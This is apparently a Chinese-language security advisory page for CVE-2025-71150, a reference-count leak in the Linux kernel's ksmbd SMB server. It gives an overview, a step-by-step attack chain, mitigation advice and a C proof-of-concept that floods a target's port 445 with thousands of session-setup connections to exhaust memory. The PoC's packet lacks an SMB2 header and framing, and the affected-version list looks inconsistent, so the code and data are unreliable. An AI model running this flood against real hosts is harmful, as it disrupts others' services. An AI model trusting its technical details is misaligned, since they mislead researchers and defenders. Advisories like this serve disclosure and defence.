IPBUF安全漏洞报告
English
CVE-2025-71150 CVSS 5.5 中危

CVE-2025-71150 Linux kernel ksmbd会话引用计数泄露漏洞

披露日期: 2026-01-23
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71150
漏洞类型
引用计数泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel ksmbd

相关标签

引用计数泄露Linux kernelksmbd资源管理漏洞本地攻击CVE-2025-71150SMB协议内存泄露中危漏洞

漏洞概述

CVE-2025-71150是Linux内核中ksmbd模块存在的一个引用计数泄露漏洞。该漏洞发生在会话查找过程中,当找到的会话状态不是SMB2_SESSION_VALID时,系统未能正确释放已获取的引用计数,导致内存资源泄露。攻击者可通过本地低权限访问触发此漏洞,最终可能导致系统可用性下降。由于该漏洞影响Linux内核的SMB服务器实现(ksmbd),在处理SMB协议通信时可能频繁触发,对系统稳定性造成潜在威胁。CVSS 3.1评分5.5,属于中等严重程度,主要影响系统可用性。

技术细节

在ksmbd模块的会话查找逻辑中,当调用相关函数查找会话时,会增加会话对象的引用计数。正常情况下,调用ksmbd_user_session_put()函数来释放引用。但在漏洞代码路径中,当会话状态不是SMB2_SESSION_VALID时,代码直接返回而未调用ksmbd_user_session_put(),导致引用计数持续增长。长期累积后可能导致内存耗尽,影响系统可用性。攻击者需要本地低权限账户即可触发此漏洞,无需用户交互。该漏洞的技术本质是资源管理不当,属于CWE-400(资源消耗)类漏洞。修复方案是在所有返回路径上正确调用ksmbd_user_session_put()释放引用计数。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统运行带有ksmbd模块的Linux内核版本
STEP 2
2. 本地访问
攻击者获得目标系统的本地低权限访问权限
STEP 3
3. SMB连接建立
攻击者通过SMB协议连接ksmbd服务,发送会话设置请求
STEP 4
4. 触发无效会话状态
发送特定构造的SMB2会话请求,触发会话查找返回无效会话状态
STEP 5
5. 引用计数泄露累积
每次触发都会导致引用计数未被释放,累积内存资源泄露
STEP 6
6. 资源耗尽
长期反复触发后,内存资源耗尽导致系统可用性下降或服务拒绝

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-71150 PoC - Reference Count Leak in ksmbd session lookup // This PoC demonstrates triggering the reference count leak condition #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #define SMB2_PORT 445 #define MAX_REQUESTS 10000 // Simulate SMB2 session lookup with invalid session state int trigger_session_lookup_leak(int sock) { // SMB2 Session Setup Request with invalid session unsigned char session_setup_req[] = { 0x00, 0x00, 0x00, 0x00, // Structure size 0x01, 0x00, // Flags 0x00, 0x00, // Mode 0x00, 0x00, 0x00, 0x00, // Capabilities 0x00, 0x00, 0x00, 0x00, // Channel 0x00, 0x00, // Security blob length 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // Previous session id }; // Send malformed session setup to trigger invalid session state send(sock, session_setup_req, sizeof(session_setup_req), 0); return 0; } int main(int argc, char *argv[]) { int sock; struct sockaddr_in server; char *target_ip = argv[1] ? argv[1] : "127.0.0.1"; printf("[*] CVE-2025-71150 PoC - ksmbd session refcount leak\n"); printf("[*] Target: %s:%d\n", target_ip, SMB2_PORT); for (int i = 0; i < MAX_REQUESTS; i++) { sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror("[-] Socket creation failed"); return 1; } server.sin_family = AF_INET; server.sin_port = htons(SMB2_PORT); server.sin_addr.s_addr = inet_addr(target_ip); if (connect(sock, (struct sockaddr *)&server, sizeof(server)) == 0) { trigger_session_lookup_leak(sock); } close(sock); if (i % 100 == 0) { printf("[*] Sent %d requests...\n", i); } } printf("[+] Completed %d session lookup attempts\n", MAX_REQUESTS); return 0; }

影响范围

Linux kernel ksmbd (all versions prior to fix)
kernel stable 5.15.x < 5.15.162
kernel stable 6.1.x < 6.1.94
kernel stable 6.6.x < 6.6.33
kernel stable 6.12.x < 6.12.9

防御指南

临时缓解措施
如果无法立即应用内核更新,可通过以下方式缓解:1) 限制SMB服务访问权限,只允许受信任的客户端访问;2) 监控ksmbd相关系统调用和内存使用情况;3) 考虑使用其他SMB实现替代方案如Samba;4) 在容器/虚拟机环境中隔离ksmbd服务以限制攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表